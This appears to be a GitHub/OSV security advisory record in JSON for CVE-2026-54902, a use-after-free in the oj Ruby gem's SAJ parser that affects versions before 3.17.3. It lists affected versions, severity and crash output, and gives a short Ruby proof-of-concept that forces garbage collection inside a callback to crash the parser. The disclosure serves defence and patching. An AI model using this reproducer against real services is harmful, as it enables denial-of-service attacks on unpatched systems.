{ "affected": [ { "database_specific": { "last_known_affected_version_range": "< 3.17.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-m578-w5vf-rfcm/GHSA-m578-w5vf-rfcm.json" }, "package": { "ecosystem": "RubyGems", "name": "oj", "purl": "pkg:gem/oj" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "3.17.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "0.5", "0.5.1", "0.5.2", "0.6.0", "0.7.0", "0.8.0", "0.9.0", "1.0.0", "1.0.1", "1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6", "1.1.0", "1.1.1", "1.2.0", "1.2.1", "1.2.10", "1.2.11", "1.2.12", "1.2.13", "1.2.2", "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.7", "1.2.8", "1.2.9", "1.3.0", "1.3.2", "1.3.4", "1.3.5", "1.3.6", "1.3.7", "1.4.0", "1.4.1", "1.4.2", "1.4.3", "1.4.4", "1.4.5", "1.4.6", "1.4.6a2", "1.4.7", "2.0.0", "2.0.1", "2.0.10", "2.0.11", "2.0.12", "2.0.13", "2.0.14", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.0.9", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.6", "2.1.7", "2.10.0", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.11.0", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.11.5", "2.12.0", "2.12.1", "2.12.10", "2.12.11", "2.12.12", "2.12.13", "2.12.14", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.12.8", "2.12.9", "2.13.0", "2.13.1", "2.14.0", "2.14.1", "2.14.2", "2.14.3", "2.14.4", "2.14.5", "2.14.6", "2.15.0", "2.15.1", "2.16.0", "2.16.1", "2.17.0", "2.17.1", "2.17.2", "2.17.3", "2.17.4", "2.17.5", "2.18.0", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.2.0", "2.2.1", "2.2.2", "2.2.3", "2.3.0", "2.4.0", "2.4.1", "2.4.2", "2.4.3", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.1", "2.7.0", "2.7.1", "2.7.2", "2.7.3", "2.8.0", "2.8.1", "2.9.0", "2.9.1", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "3.0.0", "3.0.1", "3.0.10", "3.0.11", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.0.7", "3.0.8", "3.0.9", "3.1.0", "3.1.2", "3.1.3", "3.1.4", "3.10.0", "3.10.1", "3.10.10", "3.10.11", "3.10.12", "3.10.13", "3.10.14", "3.10.15", "3.10.16", "3.10.17", "3.10.18", "3.10.2", "3.10.3", "3.10.5", "3.10.6", "3.10.7", "3.10.8", "3.10.9", "3.11.0", "3.11.1", "3.11.2", "3.11.3", "3.11.4", "3.11.5", "3.11.6", "3.11.7", "3.11.8", "3.12.0", "3.12.1", "3.12.2", "3.12.3", "3.13.0", "3.13.1", "3.13.10", "3.13.11", "3.13.12", "3.13.13", "3.13.14", "3.13.15", "3.13.16", "3.13.17", "3.13.18", "3.13.19", "3.13.2", "3.13.20", "3.13.21", "3.13.22", "3.13.23", "3.13.3", "3.13.4", "3.13.5", "3.13.6", "3.13.7", "3.13.8", "3.13.9", "3.14.0", "3.14.1", "3.14.2", "3.14.3", "3.15.0", "3.15.1", "3.16.0", "3.16.1", "3.16.10", "3.16.11", "3.16.12", "3.16.13", "3.16.14", "3.16.15", "3.16.16", "3.16.17", "3.16.2", "3.16.3", "3.16.4", "3.16.5", "3.16.6", "3.16.7", "3.16.8", "3.16.9", "3.17.0", "3.17.1", "3.2.0", "3.2.1", "3.3.0", "3.3.1", "3.3.10", "3.3.2", "3.3.3", "3.3.4", "3.3.5", "3.3.6", "3.3.7", "3.3.8", "3.3.9", "3.4.0", "3.5.0", "3.5.1", "3.6.0", "3.6.10", "3.6.11", "3.6.12", "3.6.13", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.6.8", "3.6.9", "3.7.0", "3.7.1", "3.7.10", "3.7.11", "3.7.12", "3.7.2", "3.7.3", "3.7.4", "3.7.5", "3.7.6", "3.7.7", "3.7.8", "3.7.9", "3.8.0", "3.8.1", "3.9.0", "3.9.1", "3.9.2" ] } ], "aliases": [ "CVE-2026-54902" ], "database_specific": { "cwe_ids": [ "CWE-416" ], "github_reviewed": true, "github_reviewed_at": "2026-06-19T20:47:28Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\n\n`Oj::Parser` in SAJ mode does not protect cached object keys (≥ 35 bytes) from garbage collection. A Ruby callback that triggers GC inside `hash_end` can cause the key string to be reclaimed while the C parser still holds a pointer to it. The subsequent access to the freed string VALUE results in a segfault, confirmed by an RIP pointing to address `0x4242` (a canary-style pattern suggesting control over the freed memory's content).\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/saj2.c` / `ext/oj/parser.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\nShort keys (≤ 34 bytes) are stored inline on the C stack and are safe. Long keys (≥ 35 bytes) are stored as heap-allocated Ruby String objects passed to `rb_funcall` as the `key` argument. Between the key being resolved and the callback completing, a GC triggered inside the callback (e.g. `GC.start`) can collect the key String, leaving a dangling VALUE.\n\nCrash output:\n```\nlong_key_trigger\n[BUG] Segmentation fault at 0x0000000000004242\n close_object+0x260 /ext/oj/usual.c:405 (calls rb_funcall with freed key)\n parse+0x11ff /ext/oj/parser.c:693\n parser_parse+0x145 /ext/oj/parser.c:1408\n\nRIP: 0x7fd1b46d68b7 RDI: 0x0000000000004242 (freed key VALUE)\nR12: 0x0000000000004242\n```\n\nThe freed VALUE `0x4242` shows the attacker-controlled content of the key string was loaded as a pointer — a classic use-after-free indicator.\n\n### Reproduce\n\n```ruby\nrequire 'oj'\n\nclass H < Oj::Saj\n def add_value(value, key)\n GC.start(full_mark: true, immediate_sweep: true) if key == 'x'\n end\n def hash_start(key); end\n def hash_end(key); end\nend\n\np = Oj::Parser.new(:saj)\np.handler = H.new\np.parse('{\"' + 'A' * 35 + '\":{\"x\":1}}') # long outer key, GC fires on inner key\n```", "id": "GHSA-m578-w5vf-rfcm", "modified": "2026-09-10T03:51:08.981168680Z", "published": "2026-06-19T20:47:28Z", "references": [ { "type": "WEB", "url": "https://github.com/ohler55/oj/security/advisories/GHSA-m578-w5vf-rfcm" }, { "type": "PACKAGE", "url": "https://github.com/ohler55/oj" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Oj: Use-After-Free in Oj::Parser SAJ Long Key Callback" }